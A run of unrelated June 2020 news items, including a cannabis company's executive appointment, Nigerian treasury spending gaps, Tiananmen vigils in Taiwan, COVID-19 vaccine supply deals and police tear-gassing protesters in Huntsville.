UMBRLA is a rapidly growing organization outpacing the growth of what is still an emerging cannabis industry poised for significant expansion, and Jasons broad background in cannabis and CPG is a perfect complement to support our strategy.

UMBRLA, Inc. (UMBRLA or the Company), a multi-state premier brand owner and retail operator in the legal cannabis industry, today announced that it has appointed Jason Vegotsky, former President and Chief Revenue Officer of KushCo Holdings, Inc. (KushCo) (OTCQX: KSHB), as the Companys Executive Chairman. Vegotsky brings over a decade of consumer packaged goods (CPG), wine and spirits, and cannabis experience to UMBRLA.

As UMBRLAs Executive Chairman, Jason will collaborate with UMBRLAs executive team to develop and drive strategies for future growth, as well as identifying opportunities for value-added strategic initiatives, including acquisitions, joint ventures, and leveraging key relationships in the industry. At KushCo, Jason fostered relationships with many of the leading brands and multi-state-operators in the cannabis industry, which he intends to expand into this new role. Jason will also preside over board meetings, supporting strategy, collaboration, and communication among directors, the executive team and the Companys shareholders.

Jason Vegotsky is a successful entrepreneur with an extensive background in implementing new strategies for revenue growth, building and scaling brands, and developing leading sales organizations. During his two-year tenure at KushCo, Vegotsky led a team of over 200 employees encompassing sales and operations personnel, and played a critical role in helping the company increase its sales by more than 600% from approximately $18.8 million in fiscal 2017 to $149.0 million in fiscal 2019. Prior to KushCo, Vegotsky was the co-founder of Summit Innovations, the leading distributor of hydrocarbon gasses to the cannabis industry, which was sold to KushCo in 2018. The early part of Vegotskys career was spent developing leading brands in the wine and spirits as well as the food and beverage space. He graduated with a Bachelor of Arts in Economics at Bucknell University.

This is a pivotal moment in UMBRLAs short, and successful, history, said Dallas Imbimbo, UMBRLAs Chief Executive Officer. UMBRLA is a rapidly growing organization outpacing the growth of what is still an emerging cannabis industry poised for significant expansion, and Jasons broad background in cannabis and CPG is a perfect complement to support our strategy of expanding our retail footprint and deepening our relationships with our retail partners. There are very few individuals within the cannabis space that have traditional CPG, cannabis CPG, and financial markets expertise, along with the relationships to complement this rare technical know-how. Im proud to say that Jason checks all of those boxes, and I could not be more excited to have him lead our strategy to both organically grow our CPG brand and retail portfolio and also shape our M&A strategy.

Vegotsky added: I have had the privilege of witnessing UMBRLAs rapid growth from a distance, as they continue to create and gather the industrys premier brands, while securing the prime real estate to complement them. My passion has always revolved around building brands that can engage, energize, and capture consumers, and this opportunity at UMBRLA represents a perfect outlet to contribute my brand expertise, industry relationships, and deep understanding of how to drive substantial growth. During my time at KushCo, I had a unique perch from which to observe the most promising brands developing in this emerging industry. Im excited to now bring that unique perspective and experience to UMBRLA, and to help the Companys innovative and entrepreneurial team realize UMBRLAs tremendous potential for outsized growth and success in this marketplace.

ABOUT UMBRLA INC.

UMBRLA is a premier brand house and retail operator in the legal cannabis industry active in California, Oregon, Arizona, and Oklahoma. UMBRLAs brands are among the most recognizable in the industry and include Korova, Sticks, Cabana, and Beaucoup. UMBRLAs holdings also include distributor LTRMN, and cannabis storefront retail locations operating as The Spot.
BudgIT has urged President Muhammadu Buhari to investigate the payment of government funds into personal accounts. This call was mad...

BudgIT has urged President Muhammadu Buhari to investigate the payment of government funds into personal accounts.





This call was made after a study of the Open Treasury Initiative of the Federal Government.





The Buharis administration on December 9, 2019, launched the Open Treasury Portal.





The purpose is to increase transparency in government spending.





On Thursday, BudgIT released its report titled Open treasury OpenTreasury.gov.ng Nigerias Spending Platform: Review, Gaps and Recommendations.





It noted that the sums were paid into personal accounts, including several records with vague descriptions.





BudgIT discovered over 5000 payments without descriptions to the tune of N278 billion.





It found over 2,900 payment records totalling N51 billion paid into personal accounts with vague descriptions.





In one, N68m payment was made for Ogunsuyi and N15.8m for international as a description.





After the launch, the All Progressives Congress (APC), said it affirmed Buharis resolve to tackle public sector corruption and plug leakages in the public treasury.





It called it a novelty in the pursuit of open governance, transparency and anti-corruption fight under Buharis Presidency.





APC spokesman, Lanre Issa-Onilu, in a statement said, Those who want to do business with the government should understand that henceforth, everything would be done in the open.





He noted that every Nigerian now has access to every naira the government is making, every naira it is spending and on what it is being spent.





In the fight against public sector corruption, the OTP complements other initiatives such as the administrations full implementation of the Treasury Single Account (TSA) which has increased the level of accountability and transparency in the financial resources of the government; stoppage of budget padding, contrary to what we witnessed throughout the 16 years of the Peoples Democratic Party (PDP) and pruning out thousands of ghost workers through the stricter implementation of Integrated Personnel Payroll System (IPPIS). In the fight against public sector corruption, the OTP complements other initiatives such as the administrations full implementation of the Treasury Single Account (TSA) which has increased the level of accountability and transparency in the financial resources of the government; stoppage of budget padding, contrary to what we witnessed throughout the 16 years of the Peoples Democratic Party (PDP) and pruning out thousands of ghost workers through the stricter implementation of Integrated Personnel Payroll System (IPPIS).





To name a few of OTPs requirements, all MDAs are to publish: daily reports of payments from N5m; monthly budget performance; quarterly financial statements; and annual financial statements prepared in compliance with International Public Sector Accounting Standards (IPSAS).





All the reports are to be published within stipulated deadlines on the OTP portal which will be open to and can be accessed by all, Issa-Onilu wrote.
Taiwan called on China to atone for the 1989 Tiananmen crackdown on Thursday, as the island marked the anniversary of the day student-led protests were violently crushed by tanks with small vigils of its own. Hundreds of people were killed during the Communist Party's suppression of demonstrations calling for democratic reforms. Open discussion of the incident is forbidden on the Chinese mainland, with censors scrubbing mentions of protests, and dissidents often visited by police in the days leading up to the June 4 anniversary. "Around the world, there are 365 days in a year. Yet in China, one of those days is purposely forgotten each year," Taiwan's President Tsai Ing-wen said on Twitter. Tsai said Beijing needed to confront the legacy of the incident, just as Taiwan had been forced to reckon with its own authoritarian past before its transition to democracy in the 1990s. "There were once days missing from our calendar, but we've worked to bring them to light. I hope one day China can say the same," she wrote. Hundreds gathered in Taipei on Tuesday for a candlelight vigil to mourn the Tiananmen dead, according to organisers. Some of those in the crowd were Hong Kongers who have relocated to the island following last year's tumultuous pro-democracy protests which were fuelled by years of rising fears that Beijing was stamping out the city's freedoms. - 'Never give up' - "We can freely and safely express our thoughts on June 4 in Taiwan and demand redress," Judith Ng, 47, told AFP, near a banner reading: "Free Hong Kong, revolution of our times". Ng said she moved to Taiwan in December with her teenage son who took parts in protests. "We will never forget June 4 and we will never give up fighting for Hong Kong's democracy," added Edith Chung, another Hong Kong immigrant and organiser of the vigil. Taiwanese have closely followed the unrest in neighbouring Hong Kong. Beijing regards Taiwan as its own territory and has vowed to one day seize it, by force if necessary. It has proposed a "one country, two systems" model similar to how it runs Hong Kong. But Taiwanese have widely rejected the proposal, a sentiment that has only increased as police crack down on protests in Hong Kong. "I hope the truth about June 4 will be unveiled and I also want to show support for Hong Kong," Taiwanese lawyer Zoe Lee, 24, told AFP after joining the annual Tiananmen vigil for the first time. On Wednesday Taiwan's Mainland Affairs Council called on Beijing to offer "sincere apologies" over the Tiananmen crackdown. China's foreign affairs ministry derided the comments, which spokesman Zhao Lijian described as as "complete nonsense" on Wednesday. Tensions between Taipei and Beijing have surged since Tsai was elected in 2016 because her government considers the island to be a de facto independent state rather than an part of China. She has pledged humanitarian assistance for Hong Kongers after Beijing's parliament approved plans outlining a new national security law for the city.
Burma Two ARSA Fighters Killed on Myanmar-Bangladesh Border: Military

Arms and ammunition seized from the alleged ARSA fighters. / Myanmars military

Naypyitaw  Two alleged Arakan Rohingya Salvation Army (ARSA) fighters died in a clash with security forces on Thursday evening on the Bangladesh border, according to Myanmars military spokesman Brigadier General Zaw Min Tun.

Troops undertaking border security duties clashed with around 30 ARSA troops at around 4 pm on Thursday. We found two bodies and two guns with them, said Brig-Gen Zaw Min Tun.

Border police on patrol engaged with alleged ARSA personnel near Mee Dike Village between border posts 34 and 35. After 30 minutes of fighting, the ARSA personnel retreated to the southeast, according to Myanmars military.

Two ARSA fighters in uniforms were found dead along with firearms and ammunition. Some police were injured, said Myanmars military.

Several clashes have been reported by government troops in recent years with ARSA in northern Rakhine State near the Bangladesh border. Myanmars military is also engaged in ongoing, heavy fighting with the Arakan Army in northern Rakhine State.

Two policemen were wounded in an alleged ARSA ambush on a Border Guard Police patrol on the border in early May.

According to the military, ARSA  which the government has labeled a terrorist organization  launched a series of attacks on security outposts in northern Rakhine on Aug. 25, 2017, killing 12 personnel.

The attacks prompted Myanmars military to carry out clearance operations that have driven around 730,000 Rohingya into neighboring Bangladesh.

The Gambia, a member of the Organization of Islamic Cooperation, filed a case accusing Myanmar of genocide against the Rohingya at the International Court of Justice. The UN court in January ordered Myanmar to comply with four provisional measures as requested by The Gambia.

The measures require Myanmar to take steps to prevent genocide from occurring again; ensure that the military and its affiliates do not commit further acts of genocide; preserve all evidence of genocide; and provide regular updates on its progress on these measures.

Myanmar submitted its first report in May, with subsequent reports required every six months until the case is completed.

Translated from Burmese by Thet Ko Ko

You may also like these stories:

Soldiers and Civilian Die in Western Myanmar Booby Trap

Court Frees Four Minors Accused of Terrorism by Military for Lack of Evidence

Opening of the First Airport in Myanmars Chin State Delayed Amid COVID-19
London, June 5 : Just ahead of the 36th anniversary of Operation Blue Star, British Labour Party MP Tanmanjeet Singh Dhesi has sought an independent inquiry into the then Margaret Thatcher-led British government's "involvement" in Operation Blue Star in June 1984.

"This week marks 36 years since then Indian Prime Minister Indira Gandhi ordered her abhorrent attack on the most revered Sikh shrine the Golden Temple complex in Amritsar," he said in the House of Commons on Thursday.

"It eventually led under a media blackout to the destruction of historic structures, the genocide of the Sikhs and the burning the Sikh Reference Library, and that is why Sikhs can never forgive or forget 1984," Britain's lone turbaned Sikh member of Parliament said.

Dhesi said he was sure that the Leader of the House with agree with him that it was atrocious that "many still struggle for justice".

"But perhaps he can also explain to me that why, despite recent revelations and given the huge demand from within the British Sikh community and given the support of the Labour Party and other Opposition parties, why has an independent inquiry to establish the extent of the Thatcher government's involvement in the attack has still not been held," he said.

Responded to his address on behalf of the government, Leader of the Commons, Jacob Rees-Mogg, described it as an "important anniversary".

"I have every confidence that Margaret Thatcher, one of the greatest leaders this country has ever had, would always have behaved properly," he replied.

Operation Blue Star was carried out by the Indian Army on the Golden Temple complex in Amritsar holy city in Punjab in June 1984 to flush out heavily-armed terrorists from inside the shrine complex.

Every year the prayers are held at the Akal Takht, the highest temporal seat of Sikh religion, in Amritsar by radical Sikh organisation, Dal Khalsa to mark the anniversary of the Army operation.
The London Irish Centre (LIC) is delighted to announce the London Irish Charity Night In on Thursday, June 11 at 8pm, with many Irish stars joining including Niall Horan, Dermot OLeary, Laura Whitmore, Imelda May, Robert Sheehan and many more.

The event will be streamed online via the London Irish Centres Facebook and YouTube pages and the EPIC Museum Stay At Home Library page.

Settle in for a fun night of music, interviews and conversation with Irish celebrities from across the UK and Ireland. The evening will also include a charity auction with the opportunity to win great prizes from Ed Sheeran and others, all for a good cause. The event is being produced with supporting partner The Lock Inn online events venue.

I am very proud to be patron of The London Irish Centre. The LIC does amazing work across London, and right now, they need our support. As its not possible to run our usual fundraising events, Im thrilled that our friends and supporters are joining us for a little online fundraising adventure! - Dermot OLeary, London Irish Centre patron.

The LIC has been providing community services and Irish culture to London since 1954 and the Covid-19 crisis has had a huge effect on its capacity to provide this support, especially to Londons large older Irish community, who are especially vulnerable and those more recently made vulnerable.

The Centre closed its doors on Wednesday, March 18 and responded to the pandemic by reshaping its services; increasing web and telephone support to deliver over 1,100 advice sessions and 1,000 health check-in calls, training up over 30 telephone befrienders, engaging over 200 volunteers, and providing over 2,000 hot meals and food parcels to the community and becoming the first Centre shielding the vulnerable in Camden.

They have also announced the SOLAS Season - a curated series of online culture and community to keep us all connected and inspired during challenging times. This includes concerts, storytelling, classes and talks.

The closure of the Centre has resulted in a significant financial loss with the cancellation of several large fundraising events, and the necessity to raise funds for the LIC and its community is now more important than ever. Throughout the evening the LIC hope to raise 100,000 for the older Irish community it supports.

Ellen Ryan, CEO at The London Irish Centre said: I am so proud of the way we have all pulled together as a community through this crisis. Staff, volunteers and our friends have worked hand in hand to ensure that we deliver the services and cultural output needed to enable the community to feel a sense of hope and resilience for the future. We have also received crucial support from the Irish Government and Irish Embassy, London, and our partners at Camden Council. This very special event is your opportunity to join us and support our essential work to enable us to continue our recovery into the future.



Watch the event on www.facebook.com/ londonirishcentre or http:// youtube.com/londonirishcentre.



Full line up. More guests to be announced:

Dermot OLeary

Niall Horan

Angela Scanlon

Laura Whitmore

Imelda May

Felispeaks

Lisa Hannigan

Loah

Lisa Dwan

Lorraine Maher

Dara OBriain

Richard Corrigan

Gavin James

Robert Sheehan

Ciaran Cannon

Jack Lukeman

Mundy

Liam OMaonlai

Jarlath Regan

The Blizzards

Siobhan McSweeney

Maverick Sabre
UNIVERSITY of Limerick researchers have developed a new technology for the selection of better quality sperm for use in assisted human reproduction.

With an estimated one in six couples experiencing infertility problems, the microfluidics technology developed at UL could offer some hope to those seeking to start a family.

neoMimix, a start-up from the University of Limerick, has been announced as a winner of the EIT Health Headstart competition for 2020. The prestigious competition supports the most innovative European start-ups to accelerate their market launch through a 40,000 cash prize.

Using funding secured from Enterprise Irelands Commercialisation Fund, the UL researchers have developed an exciting new microfluidics-based technology for the selection of better quality sperm for use in assisted human reproduction.

"Infertility problems have been driven by increasing maternal age as well as by the halving of sperm counts over the last 40 years," said Dr Sean Fair, reproductive biologist and project lead at UL.

"The most common fertility treatment couples undergo is in vitro fertilisation (IVF) and despite major advances in IVF over the last 40 years, two out of three cycles fail resulting in financial and emotional pain for couples.

"While little can be done to improve the number or quality of womens eggs, men normally produce tens of millions of sperm yet only one is required to fertilise an egg. Despite the large number of sperm produced by men, very few are normal," he explained.

The technology developed at UL uses microfluidics to mimic the journey sperm would travel in the female reproductive tract, thereby selecting the fittest and most functional sperm, which can then be used in IVF to improve outcomes.

Working with fertility clinics, the team have demonstrated that the selected sperm have significantly better DNA integrity than that selected by currently used methods.

The solution provides the most natural, ex-vivo, biomimicry of the female reproductive tract for sorting and selecting the highest grade, lowest DNA fragmented sperm in a simple and fully traceable process.

"Women whose male partners have poor sperm DNA integrity are twice as likely to have a miscarriage and therefore by selecting only sperm with intact DNA the risk of miscarriage can be significantly reduced," said Dr Fair.

"Sperm naturally swim up the female reproductive tract on their way to meet the egg in the fallopian tube and en route they must swim against an outward flow of mucus that is secreted around the time of ovulation. This means that only the fittest sperm reach the egg," he explained.

"The technology developed at UL replicates this journey on a micro-device so that sperm swim against an active fluid flow within micro-channels, mimicking what happens naturally. The fittest sperm are then selected for use in fertility treatment.

"It is the result of over five years of painstaking work by the UL team as they have optimised the architecture of the micro-device and fluid flow profiles to ensure that only the best quality sperm are selected. The team are now working on further clinical validation of the technology after which regulatory approval will be sought, concluded Dr Fair.

The research is a multidisciplinary collaboration between Dr Fair, Ms Karen Browne, commercial lead; Dr David Newport, fluidics engineer; Professor Leonard OSullivan and Dr Eoin White, product design, as well as with local fertility clinics.
A primary school in Melbourne's north has closed after a student contracted COVID-19, as Victoria's chief health officer warns of hotspots of community transmission in the inner-north and western suburbs.

A prep student at Newbury Primary School in Craigieburn attended school last Friday, May 29, while infectious but asymptomatic. The child developed symptoms on the weekend and was kept home from school this week.

Chief Health Officer Brett Sutton speaking on Friday. Credit:Penny Stephens

Authorities do not know how the student contracted the virus and Chief Health Officer Brett Sutton said on Friday that there were hotspots of community transmission in the inner-north and western suburbs.

The school was closed on Friday as the Victorian Health Department attempted to determine close contacts of the student. The school is being professionally cleaned and will reopen next week.
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Linkedin Nina Loasana (The Jakarta Post) Jakarta  Fri, June 5, 2020 18:57 595 fc6853813033f564188675f8bdc7bce0 1 National taxi-drivers,taxi,kidnapping,Blue-Bird,Jambi,Jambi-Police,abduction,award Free

Dadang, a Jakarta-based taxi driver, received an award from his company for his heroic action of saving a kidnapped 20-year-old from Jambi on Tuesday.

According to a statement issued by taxi operator PT Blue Bird, Dadang was looking for passenger when he saw the girl, identified only as NA, near the Empu Sendok bus stop in Kebayoran Baru, South Jakarta. The driver recounted that the girl had looked disheveled and confused.

I talked to her and he asked me Pak, where am I? What day is it? Dadang said in a statement.

He added that the girl had asked him to contact her family members through Facebook as she had lost her phone.

"I contacted her father through Facebook and was surprised to find out that the girl had been missing for five days."

NAs father, Halil, said she had kidnapped by a group of unidentified people after withdrawing money from an ATM machine at Jambi Market on May 29.

"She called and texted me the day after asking for help. I told her to run away, but she said she couldnt because she was locked in a trunk and she did not know where she was," Halil said as quoted by kompas.com.

Read also: Minor found after being kidnapped, raped for almost four years

Dadang said NA managed to flee her captors after playing dead. She said her kidnapers had dumped her on the side of the road.

"After contacting her father, I drove NA to the Senen Police station [in Central Jakarta], where she was eventually picked up by her relatives.

The driver said he was honored to have received the award.

Dadang was also invited to a lunch banquet with the companys directors as a token of appreciation.

He said he had decided to help the girl because he did not want the same thing to happen to his daughters and nieces.

"I could not imagine if something like that happened to my daughters or nieces. I helped her because of what I believe in. I really don't want any exposure," Dadang said.

PT Blue Bird appreciated Dadangs goodwill despite the current difficult situation brought on by the COVID-19 pandemic.

"Dadang, whose income has dropped due to the pandemic, sacrificed his time and energy [...] He chose not to pick up other passengers to help the girl. [] It showed his kindness and sincerity to help others in need," the company wrote in a statement.

Jambi Police's criminal investigation chief Comr. Suhardi Hary Haryanto said investigators were currently investigating the case, kompas.com reported.
Three persons out of the seven who tested positive to COVID-19 in Sissala East have recovered.

This was after 26 days in isolation where the three made up of two females and a male underwent two separate tests, conducted at different times and came out negative.

Mr Alex Bapula, Municipal Director of Health has disclosed.

Mr Bapula disclosed this when he led the recovered persons with health officials to their families where he asked family and community members to gracefully accept them into their midst.

He advised the recovered persons to "Eat well when you leave to help improve your immune system, but still ensure you practice the new normal protocols and I also enjoin the communities and all of us to support them".

Some undisclosed amount of money with other foodstuffs was made available to them to help them start a new life.

One of the recovered, a male, in an interview with the Ghana News Agency said during the partial lockdown as announced by the President, "I moved from Bole to Tumu whilst my wife who tested positive to COVID-19 also traveled in from Accra".

Asked about where he got the infection from, he couldn't tell where he got it from and advised all to be careful.

He declared his intention to advocate against discrimination and stigmatization and called on all persons in the communities to avail themselves to what the Ghana Health Service says and appealed for the strict observance of the protocols of handwashing with soap under running water, social distancing among others.

About a month ago, Dr Hafiz Bin Salih, the Upper West Regional Minister who interacted with the Sissala East emergency health response committee on COVID-19 called on residents in the Upper West to be encouraged to accept and integrate persons who have recovered from the pandemic to make life easier for them.

The Minister explained that "stigmatizing infected persons who have recovered from COVID-19 is inhuman and called on communities to assist all to reintegrate.

---GNA
Andrew Marr still wonders how different his life might have been if hed shown less teenage cowardice, as he calls it, and gone to art college instead of Cambridge University

Andrew Marr still wonders how different his life might have been if hed shown less teenage cowardice, as he calls it, and gone to art college instead of Cambridge University.

He might be renowned for skewering politicians every Sunday morning on his BBC1 show, but its art where his heart has always lain.

Art, not politics, is the great passion of my life, says the broadcaster, 60. For me, it gets to the heart of what it is to be human.

An amateur painter whose greatest luxury is his own studio near his north London home, hes thrilled not only to be the head judge of our Glorious Britain In Spring Painting Competition, but also to host a riveting new Channel 5 series exploring some of the worlds most iconic art.

Great Paintings Of The World With Andrew Marr allowed him to get up close to the greatest and most valuable masterpieces and find out the stories behind them.

The ten-part series starts with the most famous painting of all, the Mona Lisa. I was lucky enough to have four hours to look at her on a day the Louvre was closed to see how Leonardo da Vinci put a lifetime of training into her. The delicacy that went into the work is extraordinary.

Andrew looks at how the precocious Leonardo quickly became a sought-after painter whod surpassed his mentor Andrea del Verrocchio, and how he was always desperate to learn new techniques in his quest to make his paintings seem as close to the real thing as possible.

Leonardo used optical illusions to give Mona Lisa her eyes that seem to follow you around the room and a smile that appears and disappears, depending how you look at her

Fascinated by the human body, Leonardo spent time in morgues, assisting with around 30 dissections.

He also used optical illusions to give Mona Lisa her eyes that seem to follow you around the room and a smile that appears and disappears, depending how you look at her.

Leonardo was to keep the Mona Lisa with him, continuously tinkering with her, long after he was meant to have given it to the family who had commissioned it.

Similarly, another of the painters featured refused to let go of his masterpiece. JMW Turner called his favourite work of art, The Fighting Temeraire, my darling.

The image of the famous ship, which had been at the Battle of Trafalgar, being tugged to its final berth before being broken up, is one of the nations favourite paintings and adorns our 20 note.

But like many of the artworks featured, it took its time to become famous. It was only when it was exhibited in Paris and helped inspire the Impressionists that it began to be acknowledged as a classic.

JMW Turner called his favourite work of art, The Fighting Temeraire, my darling. The image of the famous ship, which had been at the Battle of Trafalgar, being tugged to its final berth before being broken up

Of all the paintings examined (which also include Millaiss Ophelia, Botticellis Birth Of Venus, Van Goghs Sunflowers and Rembrandts The Night Watch), Monets Water Lilies is Andrews favourite.

Like a lot of these paintings, it was made when the painter was older and at the height of his powers. His work is about the shortness and fragility of life and no one else has painted that so well.

Andrew is enjoying the prospect of judging the paintings made by you, our readers, once the competition closes in July.

There has already been a deluge of entries featuring views of spring from lockdown, plus the odd still life of a gin and tonic!

Monets Water Lilies is Andrews favourite. Like a lot of these paintings, it was made when the painter was older and at the height of his powers. His work is about the shortness and fragility of life and no one else has painted that so well'

For many, including Andrew, painting has been a way of escaping todays stresses.

I know Im not the only one using this time to create art, he says. While I cant get into my studio Ive been drawing and doing watercolours.

'Ive been speaking to David Hockney and hes been inspired to work harder than ever.

'The art galleries have responded in a great way, allowing people to see things online they may not have seen before.

'Its such an interesting time to be alive and Im looking forward to seeing how people reflect that in the art they do for this competition.

SO WHY NOT ENTER OUR ART CONTEST? Inspired by the wonder of nature this spring? Then enter our Glorious Britain In Spring Painting Competition, which Andrew Marr, as head judge, launched last month. Hell be joined on the panel by broadcaster Anneka Rice, actress Jane Seymour, Fake Or Fortune?s Philip Mould and artist Mark Bergin. Theyre looking for your stunning spring views of the British Isles, ranging from landscapes or views outside your window to plants, flowers or objects associated with the season. One outright winner will get a 500 voucher from leading art supplies retailer Cass Art, and a four-day painting retreat at West Dean College of Arts and Conservation in Sussex. Three runners-up will each receive a 100 Cass Art voucher. The winners and runners-up will be published in Weekend and a selection of entries will be shown in a virtual exhibition. The competition is open to UK-based amateur artists aged 18 or over. Email a maximum of two entries as JPEGs to springpainting@dailymail.co.uk with your name, address and phone number, and a description of up to 300 words with reasons for choosing them. Entries can be in any medium on any surface, but must have been made between 15 March and 10 July 2020, and not won an award or commendation before. Closing date is 10 July 2020. For full terms, see dailymail.co.uk/springpainting Advertisement

Great Paintings Of The World With Andrew Marr starts tonight at 8.15pm on Channel 5.
A patient enrolled in a coronavirus vaccine clinical trial receives an injection, May 4, 2020.

University of Maryland School of Medicine/AP Photo

2 billion doses of the Oxford coronavirus vaccine are due to be produced after pharma giant AstraZeneca struck two new deals to double the supply.

AstraZeneca partnered with the Serum Institute of India to supply doses to low-and-middle income countries. 400 million of these should be ready by the end of 2020.

There is still no guarantee the vaccine will work  but the company is pushing ahead with production anyway to shorten the timeline in case it does prove effective.

300 billion of the doses are being funded by a $750 million contribution from the Bill and Melinda Gates Foundation.

Visit Business Insider's homepage for more stories.

Video: How location data can help track and stop the spread of COVID-19

The global supply of a potential coronavirus vaccine being developed at Oxford University has been doubled to 2 billion after a deal including $750 million from the Bill and Melinda Gates Foundation.

The vaccine is being produced by AstraZeneca British drug maker, drawing on work by researchers from Oxford University.

It announced Thursday that it had signed agreements with the Coalition for Epidemic Preparedness Innovations (CEPI) and Gavi the Vaccine Alliance to boost its supplies.

The company has committed to mass-producing the vaccine before it has been proved effective, an unusual step designed to compress the long timeline of vaccine production.

CEPI and Gavi are both charities supported the Bill and Melinda Gates Foundation and the World Health Organization. The $750 million agreement with CEPI and Gavi will support manufacturing, procurement and distribution for 300 million of the 2 billion doses.

Read more: Scientists are racing to create a coronavirus vaccine that can halt the pandemic in its tracks. Here are the top 3 candidates from Moderna, Pfizer, and AstraZeneca aiming to be ready this fall.

The statement also said that AstraZeneca struck a licensing partnership with the Serum Institute of India (SII), the world's largest manufacturer of vaccines by volume, for 1 billion doses of the vaccine earmarked for low- and middle-income countries.

Story continues

The deal includes "a commitment to provide 400 million of them by the end of 2020," according to the statement.

The company had already announced the manufacture of 1 billion doses last month, according to the BBC.

300 million of the potential vaccines are already pledged to the US and 100 million to the UK, the BBC said. If clinical trials prove the the vaccine works, the first doses could be ready by September.

In the statement, AstraZeneca Chief Executive Pascal Soriot said: "We are working tirelessly to honor our commitment to ensure broad and equitable access to Oxford's vaccine across the globe and at no profit."

It remains unclear whether the vaccine, named AZD1222, will work. Soriot said the company should know by August, the BBC reported.

Read more: The race for coronavirus treatments and vaccines is heating up. Here are the 12 most important events to watch for in June, from fresh vaccine data to new antibody drug trials.

Richard Hatchett, chief executive of CEPI, admitted there was a "substantial risk" in investing in manufacturing a product that may ultimately not deliver, The Guardian reported.

Around 10,000 adult volunteers are currently testing the Phase II/III versions of the vaccine in the UK, according to the AstraZeneca statement.

Read the original article on Business Insider
Tear gas, pepper spray, rubber bullets and flash bangs were necessary to break up a protest in downtown Huntsville in order to protect property from being burned or damaged, law enforcement officials said on Thursday.

We did the right thing last night, Madison County Sheriff Kevin Turner said at a press conference.

Huntsville police gas and scatter protesters On June 3, a rally sponsored by the Huntsville-Madison County chapter of the NAACP was held in Big Spring Park. The rally began at 5 p.m. and ended shortly before a scheduled 6:30 p.m. conclusion. The protesters marched on the streets after their permit expired at 6:30 p.m. Police ordered them all to leave about 7:10 p.m. Police did not act for more than an hour. Then came an influx of trooper cars and the first tear gas was deployed just after 8 p.m. Posted by al.com on Thursday, June 4, 2020

Turner and Huntsville police Chief Mark McMurray said they believe their actions protected property on the courthouse square and around downtown during Wednesday nights protest.

After a peaceful protest organized by the Huntsville/Madison County chapter of the NAACP in Big Spring Park, a crowd began a nonviolent march through the streets. A permit issued for the protest expired at 6:30 p.m., but long after that time hundreds of people remained on the square.

The sheriff and police chief say they were patient with the crowd and allowed them to continue chanting in the streets for more than an hour after the permit expired.

Benard Simelton, president of the state chapter of the NAACP, said his organization wanted to hold its protest on the square, but was persuaded to move down near the spring. He said the NAACP believes if it had been allowed to assemble on the courthouse square, the event could have ended differently.

There were people there who should not have been there, he agreed, but police need to de-escalate situations, especially now when people are mad and need to be allowed to express themselves in a peaceful manner. He said police showing up in riot gear was a provocation.

At around 7 p.m. police started ordering the crowd to leave, but some of the remaining protesters refused. After a nonviolent standoff between police and protesters went on for more than an hour, officers began releasing tear gas into the crowd. An estimated 200 officers were involved in the incident, McMurray said.

This image shows a line of Huntsville Police Department officers who cleared streets behind tear gas and scattered peaceful protesters from the city's Courthouse Square on June 3, 2020. It was the second use of tear gas in Huntsville in three days. Rubber bullets were believed fired at a group that fled into Big Spring Park. (Ian Hoppe | IHoppe@al.com)

Police say they believe the people who gathered on the square were riled up by out-of-towners who wanted to cause damage. The chief said police reached that conclusion because of intelligence gathered locally and from other cities and based on the number of cars in downtown with out-of-state license plates.

The chief declined to elaborate on the intelligence.

Police say those who remained in the crowd after the permitted NAACP protest ended were gearing up for a fight. They put on eye protection and gas masks, readied their first aid kits, water and milk  actions the chief described as their preparations for combat.

We were there to protect the city, Chief McMurray said. We were there to protect each other. They brought the fight to us. Were not here making any excuses. Were not gonna tolerate unlawful behavior after sunset in downtown Huntsville. Youre not gonna burn our Huntsville down.

Two nights earlier, a nonviolent protest in Huntsville ended when police released tear gas into a crowd that remained long after a permit expired.

The events happened amid protests and unrest in cities around the country.

In Birmingham on Sunday, multiple buildings were damaged and news reporters were assaulted when a peaceful protest turned violent after nightfall. In Tennessee last week, a fire was started at the Metro Nashville Courthouse.

The protests and unrest have been sparked by the death of George Floyd, a black man, in Minneapolis. Video footage showed a white police officer holding his knee on Floyds neck for almost 9 minutes. The video sparked outrage about Floyds death and was held up as an example of police brutality.

Protesters in cities across the country have since spoken out about allegations of police brutality in their own cities, including in Huntsville.

On Wednesday afternoon, long before protesters gathered in the park, police themselves appeared to be gearing up for battle. Officers carried rubber bullet rifles, gas masks and riot gear, and led police dogs through the streets. The windows at some downtown businesses were boarded up ahead of the protest.

Police said in light of violence in other cities, they had to disperse the crowd before nightfall.

The chief and sheriff said because the crowd refused to comply with a lawful order to leave, police were justified in using the gas to disperse the crowd. Asked why they escalated force to using rubber bullets and flash bangs, the sheriff said some in the crowd had already escalated it by throwing water bottles at state trooper vehicles. Police would release multiple rounds of gas in the park and on the square before the night was over. State police helicopters and drones flew overhead.

AL.com was streaming live video of the series of events, beginning when police started ordering the crowd to leave. The video footage later showed protesters throwing water bottles at state trooper vehicles but didnt appear to show any weapons or other violence by the crowd.

Protesters are gathered on the courthouse square in downtown Huntsville following a rally against police brutality. Posted by al.com on Wednesday, June 3, 2020

[If you cant see the video above, click here]

In the aftermath, McMurray said police found knives, batons, steel pipes, bottles and other potential weapons on the streets that they believe the protesters brought in preparation for a battle on the streets of downtown. Police shared with AL.com photos of a bag of rocks and a baton they say protesters left behind.

By the end of the night, two Huntsville police officers reported being hit by unidentified objects, and one of them suffered minor injury to the head.

Police didnt address injuries suffered by any members of the public, but AL.com reporters saw a child exposed to tear gas in Big Spring Park and a woman who was bleeding in the Clinton Avenue parking garage after being hit by multiple rubber bullets as police pushed a crowd down Jefferson Street.

Woman hit by rubber bullets in nearby parking garage. pic.twitter.com/BMTpyxWecg  Ian Hoppe (@IanHoppe) June 4, 2020

A window was broken at Kaffeeklatsch, a local coffee shop, and the chief said windows were busted on multiple police vehicles. It was unclear how the window was broken at the coffee shop or whether protesters were responsible.

After walking tour of downtown Huntsville, only damage I saw or heard about, as mentioned, was broken window at The Kaffeeklatsch, the citys oldest coffee roaster. pic.twitter.com/eXiWbemAss  Paul Gattis (@paul_gattis) June 4, 2020

Two dozen people  all young adults from Madison County  were arrested, though none was charged with assault or property damage, Chief McMurray said. One person was arrested on a gun charge in Big Spring Park  about half an hour after police broke up the crowd with gas and other non-lethal weapons. The others were charged with disorderly conduct or receiving stolen property, according to police.

Huntsville Mayor Tommy Battle and Alabama Attorney General Steve Marshall defended the actions taken by local law enforcement.

In a press release on Thursday morning, Battle said people "not from our community" led an impromptu protest that followed the organized NAACP protest at which the mayor spoke.

